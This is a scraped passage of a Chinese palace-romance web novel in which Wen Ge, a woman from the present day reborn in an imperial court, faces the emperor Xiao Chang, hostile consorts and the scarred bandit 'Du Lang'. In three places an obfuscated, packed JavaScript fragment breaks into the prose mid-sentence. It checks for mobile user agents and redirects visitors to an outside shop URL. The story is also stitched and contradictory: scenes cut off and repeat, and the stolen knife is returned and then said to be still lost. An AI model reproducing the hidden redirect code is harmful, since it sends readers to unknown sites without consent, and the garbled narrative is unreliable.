闻歌忽然愣住。 她想起刀疤脸翻身跃上屋顶时,回头瞪她的那一眼。那张脸,那道疤,还有他躲避攻击时下意识侧身的习惯—— 电光石火间,记忆如潮水般涌来! 毒贩窝点,西南边境,三天三夜的追击。那个脸上有疤的男人,团伙里的二把手,外号“毒狼”。她记得很清楚,最后那场混战中,他躲在暗处放冷箭,箭矢破空的声音…… 和今夜那支射向她的箭,一模一样。 闻歌猛地抓起桌上那支从地上捡回来的箭。乌木箭杆,铁制箭镞,尾羽是灰褐色的——和她前世中箭倒地前,看到的最后一支箭,分毫不差。 “毒狼……”她喃喃念出这个名字。 他也来了。 和她一样,穿越到了这个世界。 而且一来,就偷走了她的刀。 “哈……”闻歌忽然笑出声,笑得肩膀都在抖,“好啊,真好。前世你杀我一次,今生又来偷我的刀。毒狼啊毒狼,咱们这账,可真是越算越多了。” 小桃和小红被她这又哭又笑的样子吓得不轻:“小姐,您、您别吓我们……” “我没事。”闻歌抹了把脸,眼神冷得像冰,“只是想起一个……老朋友。” 一个必须找到,必须算账的老朋友。 皇宫,养心殿。 “啪!” 白玉镇纸被狠狠摔在地上,碎成数瓣。萧昌站在御案后,脸色阴沉得能滴出水来:“天子脚下,丞相府,御赐之物被盗——好,真是好得很!” 殿内跪了一地的宫人,连大气都不敢出。 黄公公躬身上前,声音发颤:“陛下息怒……闻小姐并未受伤,贼人也未得手……” “未得手?”萧昌冷笑,“那贼人能在禁军巡逻的眼皮子底下摸进丞相府,能在闻歌手里过上十招还能全身而退——这是普通的贼?” 他走到窗前,望着丞相府方向,眸色深不见底:“朕倒要看看,是谁的手,伸得这么长。” “陛下,”殿外传来禁军统领肖锋的声音,“画师已根据闻小姐的描述,绘出贼人画像。” 萧昌转身:“呈上来。” 画像展开,一张脸跃然纸上——粗犷,凶狠,右脸一道斜贯的疤,从眉骨直到下颌。 萧昌盯着那道疤,许久,忽然问:“闻小姐看到这张脸时,是什么反应?” 肖锋愣了愣,如实禀报:“据丞相府下人说,闻小姐先是愣住,然后……笑了。笑得有点瘆人。” “笑了?”萧昌挑眉。 “是。还说……‘老朋友’。” 萧昌沉默片刻,唇角勾起一抹玩味的弧度:“有意思。” 他走回御案前,提起朱笔,在画像旁批了四个字:全国通缉。 “肖锋。” “臣在。” “你亲自带人,全城搜捕。脸上有疤、背上有伤者,一律扣押细审。”萧昌顿了顿,补充道,“再加派一队禁军,暗中保护丞相府。记住,是暗中。” “臣遵旨。” 肖锋退下后,黄公公小心翼翼上前:“陛下,韩妃娘娘在外求见……” “不见。”萧昌头也不抬。 “娘娘说,是为昨夜之事……” “让她滚。” 话音落,殿外已传来韩妃娇柔的声音:“陛下——臣妾是担心您呀!为了个黄毛丫头,动用禁军全城搜捕,这传出去,朝臣们该说您……” “说什么?”萧昌抬眼,目光如刀,“说朕昏庸?说朕色令智昏?” 韩妃被那眼神吓得一颤,跪倒在地:“臣妾不敢……” “不敢就闭嘴。”萧昌收回视线,继续批阅奏折,“回去闭门思过,没有朕的允许,不许踏出宫门半步。” 韩妃脸色惨白,被人搀扶着退下了。 黄公公叹了口气:“陛下,韩妃娘娘的话,虽不中听,却也是事实。朝中已有人议论,说您对闻小姐太过……” “太过什么?”萧昌放下笔,“黄公公,你跟了朕多少年了?” “老奴……自陛下登基起,就侍奉在侧了。” “那你说说,朕是那种会被美色冲昏头脑的人吗?” 黄公公语塞。 “朕赏她凤牌,准她自由出入宫禁,赐她府邸,甚至为她大动干戈搜捕贼人——”萧昌站起身,走到殿中那幅巨大的江山舆图前,“你真以为,只是为了一个‘女人’?” 他手指点在舆图上某个位置:“南方水患,白国异动,朝中三派暗流汹涌……这个时候,一个死而复生、身怀异术、还能引来神秘贼人觊觎的闻歌出现,你说,这意味着什么?” 黄公公恍然大悟:“陛下是想……引蛇出洞?” “不只是引蛇。”萧昌转身,眸底闪过一丝冷光,“朕要看看,这潭浑水里,到底藏着多少条鱼。” 第二日,朝堂。 气氛凝重得能拧出水来。 萧昌高坐龙椅,听着刑部禀报昨夜搜查结果——贼人踪迹全无,只在京郊发现三具百姓尸体,疑似被灭口。 “砰!” 龙案震动。 “天子脚下,一夜之间,盗窃御赐之物,杀害无辜百姓,凶手却逍遥法外——”萧昌声音不高,却字字如冰,“诸位爱卿,你们告诉朕,这大周的律法,是摆设吗?” 满朝文武噤若寒蝉。 唯有皇叔萧璟出列,沉声道:“陛下,臣以为,当务之急是赈济南方水患,安抚数十万流民。为一桩盗窃案大动干戈,实非明君所为。” “皇叔的意思是,”萧昌挑眉,“朕该对贼人盗窃御赐、杀害百姓之事,睁一只眼闭一只眼?” “臣并非此意。只是闻小姐之事,毕竟属家宅私事,陛下如此兴师动众,恐惹非议……” “非议?”萧昌笑了,笑意却未达眼底,“皇叔,贼人偷的不是普通物件,是朕亲赐的火云貂裘。他们杀的也不是‘私事’,是大周的子民。今日他们敢偷丞相府,明日就敢偷皇宫;今日他们敢杀平民,明日就敢杀朝臣——皇叔觉得,这还是‘家宅私事’吗?” 萧璟被噎得说不出话。 闻丞相适时出列,躬身道:“陛下,臣家中失窃,劳烦陛下挂心,实乃臣之罪过。还请陛下以国事为重,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“猜的。”萧昌端起茶盏,轻抿一口,“那贼人若只为求财,偷了火云貂裘就该走。可他与你缠斗许久,分明另有所图。而你今早进宫时,手一直下意识摸向腰间——那里,本该挂着点什么吧?” 闻歌后背一凉。 这皇帝,观察力也太可怕了。 “是。”她承认,“一把五寸匕首,刀鞘乌黑,柄嵌碧色琉璃。那是老神仙给我的‘仙器’,如今……丢了。” “仙器?”萧昌笑了,“那朕帮你找回来,是不是也算积了仙缘?” “陛下说笑了。”闻歌垂下眼,“那是我的东西,我自己会找。” “你怎么找?”萧昌放下茶盏,身体微微前倾,“凭你一个人,在这茫茫人海里找一个故意躲起来的贼?还是凭你梦里那点‘前世记忆’?” 闻歌抿唇不语。 “朕可以帮你。”萧昌的声音压低了些,带着某种诱哄的意味,“全国通缉令已下,禁军、暗卫、各地府衙都会留意。只要他还在大周境内,掘地三尺,朕也能把他挖出来。” “……条件呢?”闻歌抬眼看他,“陛下不会白帮忙吧?” 萧昌笑了,这次笑得很真心:“聪明。朕的条件很简单——三日后宫宴,你来。以安国郡主的身份,堂堂正正地来。” 闻歌蹙眉:“就这?” “就这。”萧昌靠回椅背,恢复那副慵懒模样,“朕就是想看看,你穿宫装、戴珠冠的样子。也想让某些人看看,朕看重的人,是什么分量。” 这话里的深意,闻歌听懂了。 她成了他的棋子,成了他用来敲打朝堂、平衡势力的那把刀。 可偏偏,她需要这把“刀”的力量,去找回自己的刀,去找到毒狼,去了结前世的仇。 “好。”她听见自己说,“我去。” 萧昌满意地点点头,起身准备离开。走到门口时,忽然回头:“对了,你那把刀……长什么样?朕让人留意时,也好有个参照。” 闻歌描述了一遍。 萧昌听完,若有所思:“碧色琉璃……倒是特别。朕记住了。” 他转身离去,玄色衣角拂过门槛,消失在廊下。 闻歌坐在厅中,许久未动。 小桃轻手轻脚进来,小声道:“小姐,皇上走了。咱们……回府吗?” “回。”闻歌站起身,走到窗边。 窗外阳光正好,院中一株老桂树开得正盛,香气馥郁。可她的心情却像蒙了一层雾,沉甸甸的。 毒狼来了,刀丢了,皇上步步紧逼,而她这个“小仙女”,被困在这人间棋局里,进退两难。 “小姐,”小桃小心翼翼地问,“那把刀……真的那么重要吗?” 闻歌望着窗外,轻声说:“重要。那是我的来处,也是我的归途。” 丢了它,就像丢了自己的一部分。 她必须找回来。 无论付出什么代价。 10. 第 10 章 皇后寝宫的椒房殿内,沉水香的烟雾在鎏金博山炉上袅袅盘旋。 皇后斜倚在凤榻上,指尖有一搭没一搭地拨弄着腕间的翡翠念珠。韩妃坐在下首的绣墩上,身子前倾,声音压得极低,却掩不住话里的怨气: “娘娘,您说那闻歌到底使了什么手段?皇上今日又单独召见她,两人关着门在金銮殿里说了快一个时辰——黄公公守在门外,只听见皇上笑声不断。” 皇后拨念珠的动作停了停。 “本宫让你查的事,可有进展?” “臣妾派人细查过了。”韩妃凑得更近些,“这闻歌确实古怪。她‘死而复生’那日,在棺材里坐起来就喊‘我是小仙女’。醒来后性情大变,从前知书达理的人,如今满口疯话,还会武艺——那夜在丞相府屋顶上,可是好些人都瞧见了,飞檐走壁,身手了得。” “武艺?”皇后蹙眉,“闻丞相是文臣,家中从不尚武。她一个深闺女子,从何处学来?” “所以说蹊跷啊!”韩妃眼底闪过一丝狠色,“臣妾听闻,民间已有传言,说她是妖孽附体,专为祸乱朝纲而来。娘娘您想,她为何偏在皇上微服出巡时,‘恰好’闯进轿中?又为何偏在南方水患、朝局动荡之际,得了皇上这般恩宠?” 皇后沉默半晌,念珠在指尖转得飞快。 她想起今早皇上在朝堂上为闻歌大发雷霆的模样——那双总是深不见底的眼,在提起“安国郡主”时,竟会闪过一丝她从未见过的光。 不是宠溺,不是纵容,而是一种……近乎兴奋的灼热。 “娘娘,”韩妃声音更轻,“若真让这丫头入了宫,以皇上如今待她的心,只怕不出三年,这后位……” “够了。”皇后打断她,起身走到窗前。 窗外春光正好,御花园里姹紫嫣红开遍。可这满目繁华,在她眼里却成了冰冷的囚笼。 “继续查。”她背对着韩妃,声音听不出情绪,“她从前可有相熟的道士、尼姑?可曾去过什么古怪地方?本宫要的,是实实在在的证据。” “臣妾明白。”韩妃起身行礼,退到门边时又回头,“娘娘,三日后宫宴……咱们要不要……” “本宫自有安排。”皇后挥手,“你且退下。” 殿门轻轻合上。 皇后独自立在窗前,良久,忽然轻笑一声。 “小仙女?”她喃喃自语,“这深宫,最容不下的,就是仙女。” 宫门外。 闻歌刚踏出朱红门槛,还没来得及呼吸一口宫外的自由空气,身后就传来黄公公气喘吁吁的呼喊: “郡主——留步!皇上口谕——请您回去!” 闻丞相还在阶下等着,闻言脸色一变:“黄公公,皇上方才不是才见过小女?这又是……” “老奴也不知。”黄公公擦着额头的汗,“皇上只说,请郡主回金銮殿,有要事相商。” 闻歌心里“咯噔”一声。 又要回去?这皇上是闲得慌吗? 她想起方才在金銮殿里,萧昌似笑非笑看着她的眼神,还有那句“三日后宫宴,朕等你”——该不会是反悔了,想现在就把她扣下吧? “爹,您先回去。”她按下心头不安,对父亲笑了笑,“皇上召见,女儿去去就回。” 闻丞相欲言又止,最终只低声道:“歌儿,切记谨言慎行。皇上……终究是皇上。” 这话里的深意,闻歌听懂了。 她点点头,跟着黄公公再次踏入宫门。红墙黄瓦的宫道长得仿佛没有尽头,每一步都踩在光滑如镜的金砖上,脚步声空空回荡。 走到一半,迎面撞上一行人。 为首的妇人约莫三十上下,云鬓高绾,珠翠环绕,一身绛紫宫装绣着繁复的鸾鸟纹——正是韩妃。她身后跟着四个宫女,架势十足。 黄公公连忙躬身:“老奴给韩妃娘娘请安。” 韩妃却像没听见,目光直直落在闻歌身上,将她从头到脚打量一遍,唇角勾起一抹讥诮的弧度: “哟,这位便是皇上新封的安国郡主?果然……与众不同。” 闻歌今日穿得素净,月白襦裙,青玉簪子,站在珠光宝气的韩妃面前,确实显得“与众不同”。 “娘娘谬赞。”闻歌不卑不亢。 “谬赞?”韩妃笑了,“本宫可不敢。只是好奇,郡主既得了封号,见了本宫为何不行礼?莫非这宫里的规矩,郡主还没学会?” 黄公公忙打圆场:“娘娘息怒,皇上有急事召见郡主,这才……” “皇上召见,便能坏了规矩?”韩妃打断他,眼神冷下来,“黄公公,你在这宫里待了半辈子,难道不知尊卑有序?” 她朝身后宫女使了个眼色:“去,教教郡主,该怎么给娘娘行礼。” 两个膀大腰圆的嬷嬷上前,伸手就要按闻歌的肩膀。 闻歌眼神一凛,侧身避开。动作快得让那两个嬷嬷扑了个空,险些摔倒。 “你敢躲?!”韩妃声音尖利起来。 “为何不敢?”闻歌抬眼,直视着她,“皇上特许我免礼。娘娘若是不满,大可去问皇上。” “好一张利嘴!”韩妃气极反笑,“本宫今日便替皇上管教管教你——” “韩妃。” 清冷的声音从廊柱后传来。 皇后缓步走出,一身明黄凤袍,神色平静,眼底却无半分温度。她身后跟着的宫人屏息垂首,连呼吸都放轻了。 “皇后娘娘。”韩妃不情不愿地行礼。 皇后摆摆手,目光落在闻歌身上,细细打量片刻,才温声开口:“安国郡主初入宫廷,不懂规矩也是常情。韩妃何必动气?” 这话听着是解围,实则字字带刺。 闻歌心里冷笑——一个唱红脸,一个唱白脸,这出双簧演得可真够熟练的。 “皇后娘娘说的是。”韩妃顺着台阶下,却仍不甘心,“只是臣妾担心,若人人都像郡主这般恃宠而骄,后宫规矩岂不形同虚设?” 皇后笑了笑,转向闻歌:“郡主日后常来常往,总该学些礼数。闻丞相家风清正,想来也不会纵容女儿行差踏错。不如这样——宫宴前这几日,郡主便留在本宫宫中,让嬷嬷好生教导,也算全了丞相府的体面。” 教导?软禁还差不多。 闻歌正要开口,身后忽然传来熟悉的声音: “不必了。” 萧昌不知何时出现在宫道尽头,负手而立,玄色龙袍在春日阳光下泛着暗沉的光。他一步步走近,目光扫过韩妃和皇后,最后停在闻歌脸上。 “朕特许安国郡主免一切跪拜礼。”他语气平淡,却带着不容置疑的威压,“皇后,你可听清了?” 皇后脸色微白,屈膝行礼:“臣妾……听清了。” “至于教导规矩——”萧昌走到闻歌身侧,忽然伸手握住她的手腕,“朕亲自教。” 他的手心温热,力道却不容挣脱。闻歌试图抽手,却被他握得更紧。 “皇上!”皇后失声。 萧昌看也不看她,拉着闻歌转身就走。走了几步,忽然回头,对还跪在地上的韩妃淡淡道: “韩妃冲撞郡主,禁足一月,罚俸半年。” 韩妃浑身一颤,瘫软在地。 金銮殿。 殿门在身后沉重合拢,隔绝了外间所有目光。 闻歌终于甩开萧昌的手,揉着发红的手腕,没好气道:“皇上这是唱哪出?英雄救美?” “美?”萧昌挑眉,转身走上御阶,在龙椅上坐下,“朕看你倒像只张牙舞爪的野猫。” “野猫也比金丝雀强。”闻歌站在原地,不肯上前,“皇上急召我回来,到底何事?” 萧昌没答,只是朝殿侧示意。 一个穿着七品官服的中年男子躬身上前,手中捧着一个朱漆木盒。他跪在御阶下,声音发颤: “微臣黎水城县令李崇,叩见陛下、郡主。” 闻歌心里忽然升起不祥的预感。 “打开。”萧昌道。 李县令颤抖着手打开盒盖—— 一颗人头。 面色青白,双目圆睁,右脸一道斜贯的刀疤,从眉骨直到下颌。 正是“毒狼”。 闻歌呼吸一滞。 她死死盯着那张脸,前世记忆如潮水般涌来:西南边境的雨林,三天三夜的追踪,最后那支破空而来的箭,还有中箭倒地时,看见树丛后那张疤脸上得意的笑…… 恨意如毒藤般缠绕心脏,让她几乎喘不过气。 “郡主?”萧昌的声音将她拉回现实,“可是此人?” 闻歌闭了闭眼,再睁开时,已恢复平静:“是。” “你确定?”萧昌盯着她,“朕听说,这贼人狡猾多端,常有替身。” “确定。”闻歌声音很轻,却斩钉截铁,“这道疤的位置、长度,还有他耳后那颗黑痣——我绝不会认错。” 萧昌看了她片刻,忽然笑了:“好。” 他转向李县令:“你诛杀江洋大盗有功,朕擢升你为黎水城知府,即日赴任。” 李县令大喜过望,连连叩首:“谢陛下隆恩!微臣定当竭尽所能,报效皇恩!” “退下吧。” 殿内再次只剩两人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992179|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧昌从龙椅上站起,一步步走下御阶,停在闻歌面前。他比她高出一个头,垂眸看她时,有种居高临下的压迫感。 “朕为你报仇了。”他声音低沉,“感动吗?” 闻歌抬起头,与他对视。 四目相接,她看清他眼底那抹深藏的试探——他在观察她的反应,在衡量她的情绪,在计算这份“恩情”能换来什么。 “皇上是为天下除害,为黎民伸冤。”她听见自己平静的声音,“臣女代百姓谢过陛下。” “百姓?”萧昌笑了,忽然伸手,指尖拂过她脸颊,“朕要的不是百姓的感谢。” 他的手指很凉,触感却像烙铁。闻歌浑身一僵,强忍着没躲开。 “那皇上要什么?” “要你。”萧昌收回手,转身走回龙椅,随意坐下,拍了拍身侧空位,“过来,坐这儿。” 闻歌没动。 “怕了?”萧昌挑眉,“方才在宫道上怼韩妃的胆子哪去了?” “激将法对我没用。”闻歌嘴上硬,脚却不由自主往前挪了一步——纯粹是好奇,想试试坐龙椅是什么感觉。 萧昌看出她的心思,眼底笑意更深:“放心,没毒。朕只是想让你看看,坐在这位置上,能看到什么。” 闻歌犹豫片刻,终究没忍住好奇心,走上御阶,在龙椅右侧坐下。 触感冰凉,金丝楠木的椅背雕着九龙盘绕,硌得人背疼。可视野确实开阔——整座金銮殿尽收眼底,朱红廊柱,鎏金藻井,白玉地砖上倒映着窗棂透进来的天光。 一种无形的威压,从四面八方涌来。 “看到了什么?”萧昌问。 “看到……”闻歌顿了顿,“看到天下人都想坐的位置,其实冷得很。” 萧昌怔了怔,随即大笑。 笑声在金銮殿里回荡,惊起了梁上栖息的燕子。 “好一个‘冷得很’。”他止住笑,侧头看她,“那你想坐吗?” “不想。”闻歌答得干脆,“我嫌硌得慌。” “那你想做什么?” “成仙。”闻歌脱口而出,说完自己都觉得荒唐,却又补了一句,“或者……至少做个人。能呼吸自由空气的人。” 萧昌沉默了。 许久,他忽然伸手,从龙椅暗格里取出一物,递到她面前。 正是那把五寸匕首。乌木刀鞘,碧色琉璃。 闻歌瞳孔骤缩:“我的刀!怎么在你这儿?!” “那夜贼人并未偷走。”萧昌把刀放在她掌心,“是朕拿的。” “你——”闻歌气结,“你偷我的刀?!” “借用。”萧昌纠正,“朕只是想看看,这把‘仙器’,到底有何特别。” “那你看出来了吗?” “看出来了。”萧昌靠回椅背,望向殿外辽阔的天空,“它和你一样,看起来普普通通,内里却藏着……让人想一探究竟的秘密。” 闻歌握紧刀,指尖摩挲着刀鞘上的琉璃。冰凉的触感顺着血脉蔓延,让她躁动的心渐渐平静下来。 “皇上,”她忽然问,“您信命吗?” “命?”萧昌挑眉,“朕只信自己。” “可有些事,由不得自己。”闻歌低头看着刀,“就像这把刀,就像我‘死而复生’,就像……毒狼会死在今日。” 她抬起头,眼神清澈:“皇上今日替我报仇,我感激。但这份感激,不足以让我放弃想走的路。” 萧昌静静看着她。 春日午后的阳光透过雕花窗棂,在她脸上投下明明灭灭的光影。她坐在龙椅上,握着刀,脊背挺直,眼神里有种近乎天真的执拗。 像一只误入笼中的鸟,明明羽翼未丰,却总想着撞破金栏。 “朕知道了。”他忽然笑了,笑得有些无奈,“三日后宫宴,记得来。” “我会来。”闻歌起身,将刀收入袖中,“但只是为了谢恩,不是为了……别的。” 她走下御阶,走到殿门前,忽然回头: “皇上,这龙椅虽好,但坐久了,也会寂寞吧?” 不等萧昌回答,她已推开殿门,踏入殿外明媚的春光里。 萧昌独自坐在龙椅上,望着她远去的背影,良久,轻声自语: “寂寞?” 他抚过身侧还残留着她体温的位置,唇角微扬。 “或许吧。但有了想抓却抓不住的鸟,这日子,总算有趣些了。” 殿外,春风拂过宫檐铜铃,叮咚作响。 远处宫墙上,一只白鸽振翅飞起,掠过湛蓝的天,向着宫外自由的世界而去。 11. 第 11 章 “卑女知错,不敢起。” 闻歌跪在冰冷的金砖上,额头抵着手背,能听见自己擂鼓般的心跳。方才那句“昏君”脱口而出时,她看见萧昌眼底一闪而过的寒光——不是愤怒,是某种更深邃、更危险的东西。 殿内静得可怕。黄公公跪在一旁抖如筛糠,老太监额头的冷汗滴在地上,晕开一小片深色水渍。 许久,萧昌终于开口,声音听不出情绪:“朕说过,你不用向任何人下跪。” 他起身走下御阶,玄色龙袍的下摆拂过她眼前。一只手伸到她面前,手指修长,骨节分明。 “起来。” 不是命令,却比命令更不容拒绝。 闻歌犹豫了一瞬,将手放在他掌心。他的手很暖,握着她时力道不轻不重,恰好足够将她拉起。 “坐下。”萧昌指了指龙椅旁新设的绣墩——不知何时搬来的,铺着软锦。 “卑女不敢。”闻歌抽回手,“皇上还是准我回家吧。” “朕命你坐下。”萧昌转身看向黄公公,“黄公公,你也起来。今日之事,与你们无关。” 黄公公如蒙大赦,颤巍巍爬起来,后背的官服已湿透一片。 萧昌重新坐回龙椅,侧头看着闻歌局促地坐在绣墩上,忽然笑了:“是不是觉得,伴君如伴虎?” 闻歌抿唇不语。 “说实话。”萧昌身体微微前倾,“朕恕你无罪。” “……是。”闻歌小声承认,又立刻摇头,“不是!” “到底是,还是不是?”萧昌挑眉,“欺君之罪,可不好玩。” 闻歌深吸一口气,抬起头:“方才那一瞬间,是。但现在……不是。” “哦?为什么?” “因为老虎要吃人,不会先伸手拉人起来。”闻歌老实说道,“也不会让人坐在旁边,还……还问人怕不怕。” 萧昌怔了怔,随即大笑。 笑声在金銮殿里回荡,惊起了梁上栖息的燕子。他笑得很畅快,眼角甚至笑出了细纹,那张总是深沉莫测的脸,此刻竟有几分少年人的明朗。 闻歌看得愣住。 原来他真心笑起来,是这样的。 “你倒是实诚。”萧昌止住笑,从袖中抽出丝帕,很自然地抬手替她擦了擦额角的细汗,“都吓出汗了。” 闻歌偏头想躲,却被他轻轻按住肩膀:“别动。” 他的动作很轻柔,帕子带着龙涎香的清冽气息。擦完汗,他却没有立刻收回手,指尖在她脸颊停留了一瞬,声音低了几分: “朕就喜欢你这样的女子。敢说真话,敢直视朕的眼睛,敢坐在朕身边还说这椅子‘硌得慌’。” 闻歌耳根发烫,往后缩了缩:“皇上说笑了……” “不是说笑。”萧昌收回手,靠回龙椅,目光望向殿外辽阔的天空,“这宫里,人人都怕朕,敬朕,算计朕。只有你……”他顿了顿,“只有你当朕是个人。会生气,会高兴,会犯错的人。” 这话说得太直白,闻歌一时不知如何接。 “方才你说朕是昏君,”萧昌忽然转头看她,眼神认真,“朕不会怪你。但朕要你记住——朕到底是昏君还是明君,时间会证明。而你,”他唇角微扬,“可以亲眼看着。” 闻歌心头一震。 这话里的分量,她听懂了。 不是情话,不是戏言,而是一种近乎托付的郑重。 “皇上……” “好了。”萧昌起身,拍了拍她的肩,“今日你也累了,回去歇着吧。黄公公,传朕旨意——用朕的龙撵,送安国郡主回府。” “龙撵?!”黄公公倒吸一口凉气,“陛下,这于礼不合……” “朕说合,就合。”萧昌摆摆手,又看向闻歌,眼底掠过一丝戏谑,“安国郡主,朕会时时以‘昏君’二字自省。希望下次见面,你能给朕换个评价。” 闻歌张了张嘴,最终只躬身行礼:“……臣女告退。” 走出金銮殿时,春日午后的阳光刺得她眯起眼。那辆明黄绸缎装饰、由八名御前侍卫护卫的龙撵就停在阶下,惹得沿途宫人纷纷侧目,跪地不敢抬头。 闻歌硬着头皮坐上去,心里把萧昌骂了八百遍——这哪是送她回家,分明是把她架在火上烤! 果然。 龙撵刚到丞相府门口,消息就像长了翅膀般传遍京城。等闻歌踏进府门时,闻丞相已在前厅候着,脸色铁青。 “跪下!” 闻歌还没站稳,闻丞相已一声暴喝。 她乖乖跪下——对父亲,她是真心的敬,也是真心的愧。 “你、你在金銮殿上,当着皇上的面,说他是……昏君?”闻丞相声音发颤,每个字都像从牙缝里挤出来的。 “是。”闻歌低头,“女儿知错。” “知错?!你知道这错有多大吗?!”闻丞相抓起桌上的茶盏,狠狠摔在地上,“砰”的一声,瓷片四溅,“那是皇上!是天子!一句话就能让闻家满门抄斩的天子!” 丞相夫人闻声赶来,见状也白了脸:“歌儿,你、你真说了?” “说了。”闻歌抿唇,“但皇上没生气,还……还笑了。” “笑了?”闻丞相愣住,“皇上笑了?” “嗯。笑得挺开心。”闻歌补充道,“还用龙撵送我回来。” 闻丞相一屁股坐回太师椅,揉着突突直跳的太阳穴,半晌说不出话。 这皇上……到底在想什么? “爹,娘,”闻歌抬起头,眼神清澈,“女儿知道这话不该说。但女儿觉得,皇上不是那种听不得真话的人。他若真是昏君,女儿说了,他该治我的罪。可他不但没治罪,反而……” 她顿了顿,想起萧昌说“朕到底是昏君还是明君,时间会证明”时的眼神。 “反而很认真。”她轻声说。 闻丞相长叹一声,疲惫地挥挥手:“罢了,罢了。你先回房,这几日……不许出门。” “又要关禁闭?”闻歌撇嘴。 “关你是为你好!”闻丞相瞪眼,“外头现在不知多少双眼睛盯着丞相府,你安分些,少惹事!” “关就关。”闻歌起身,嘟囔着,“又不是没被关过。” 她转身往外走,走到门口时,听见父亲在身后低声说:“歌儿,爹不是怕你惹祸,是怕……护不住你。” 闻歌鼻子一酸,没回头,快步离开了。 禁闭的日子无聊得发霉。 闻歌在房里转了三天,把架子上的书翻了个遍,又把琴弦调了又调,最后还是瘫在床上望帐顶。 小桃和小红轮番来劝:“小姐,您就去给老爷认个错吧,说句软话,老爷肯定心软……” “我没错。”闻歌翻了个身,“再说了,认错有什么用?外头那些想看我倒霉的人,难道因为我认错就放过我了?” 这话说得在理,两个丫鬟也无言以对。 第四日,府里忽然热闹起来。 闻歌扒着窗缝往外看,只见下人搬着各式箱笼来来往往,管家拿着册子大声指挥,连院角的杂草都被拔得干干净净。 “这是要搬家?”她问小桃。 “不是啦。”小桃小声说,“是皇上……七日后要下榻咱们府上。” 闻歌一愣:“皇上?住这儿?” “是啊,圣旨都下了。”小红凑过来,“现在全府上下忙翻天了,翻新屋子,添置物件,连花园里的石头都要擦一遍呢。” 正说着,外头传来一阵说笑声。 丞相夫人陪着一位锦衣妇人往这边走来,后面还跟着闻清。那妇人声音尖细,笑得格外张扬: “弟媳啊,你可不知道,我刚听说皇上要去我那儿住时,吓得腿都软了!我们那小门小户的,哪比得上丞相府气派?这可怎么伺候得好皇上哟!” 话是这么说,脸上的得意却掩不住。 闻歌在窗后翻了个白眼——这不是闻清的母亲王氏吗?又来显摆了。 果然,王氏话锋一转:“不过话说回来,我家阙之到底是状元郎,皇上器重也是应该的。不像有些姑娘家,靠些歪门邪道得了封号,终究是……” “嫂子说笑了。”丞相夫人打断她,语气温和,眼神却冷了几分,“歌儿是女儿身,自然比不得状元郎前程似锦。” “哎呀,我可不是这个意思!”王氏忙摆手,眼睛却往闻歌房门瞟,“对了,怎么不见歌儿?我还想跟她讨教讨教,怎么才能‘误打误撞’救个驾,也捞个封号呢。” 窗后的闻歌磨了磨牙。 “歌儿身子不适,在休息。”丞相夫人淡淡道,“嫂子若没别的事……” 话音未落,府门外忽然传来高唱: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992180|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣——旨——到——!” 王氏眼睛一亮,下意识挺直腰背——定是去她府上传旨的公公走错门了! 众人匆匆赶到前厅。黄公公手捧明黄卷轴,见人齐了,展开朗声宣读: “奉天承运,皇帝诏曰:朕七日后移驾丞相府小住,一应事宜交由闻卿安排。钦此。” 死寂。 王氏脸上的笑容僵住了,像是被人掐住了脖子。 “黄、黄公公,”她声音发干,“这圣旨……是不是传错了?皇上不是说……去状元府吗?” 黄公公一脸歉意:“哎哟,正是为此事,老奴还得去您府上赔罪呢!前头传话的小太监是新来的,听差了,把‘闻府’听成了‘状元府’。老奴已责罚过他了,这不,赶紧先来丞相府传旨,再去您那儿解释……” 王氏脸上一阵红一阵白,指甲掐进了掌心。 “原、原来是这样……”她强笑着,“我就说呢,皇上怎会去我们那小地方……” “可不是嘛!”丞相夫人适时接话,笑得温婉,“嫂子方才还担心伺候不好皇上,这下可放心了?” 王氏喉咙里像是堵了棉花,一个字也说不出来。她扯了扯还愣在一旁的闻清:“还杵着干什么?回家!” 闻清却不动,眼睛直往内院瞟——她听见了,闻歌被关禁闭了!这可是看笑话的好机会! “你这死丫头!”王氏气得拧她耳朵,“人家忙着接驾,你在这儿碍什么事!” 闻清“哎哟哎哟”地被拽走了。出了丞相府大门,王氏憋了一肚子的火终于爆发,指着身后一个偷偷抿嘴笑的丫鬟:“你笑什么?!” “奴婢没笑……”丫鬟慌忙低头。 “啪!”一耳光甩过去,“贱蹄子!敢看主子笑话?回去有你好受的!” 那丫鬟捂着脸跪地求饶,被两个家丁拖走了。王氏铁青着脸上了轿,帘子摔得震天响。 这脸,丢大了。 消息如野火燎原。 皇上不住皇宫住丞相府——这是何等的恩宠?又是何等的信号? 丞相府的门槛快被踏破了。道贺的,攀交情的,探口风的,送礼的……闻丞相疲于应付,索性称病闭门,只让管家接待。 府里更是忙得人仰马翻。皇上要住的“沐恩堂”里外翻新,一应陈设全换御用规制。花园修葺,池水换清,连府门外那条青石路都重新铺了一遍。 闻歌扒在窗边,看着外头热火朝天的景象,心里却一片冰凉。 刀丢了。 毒狼死了,可刀没找到。 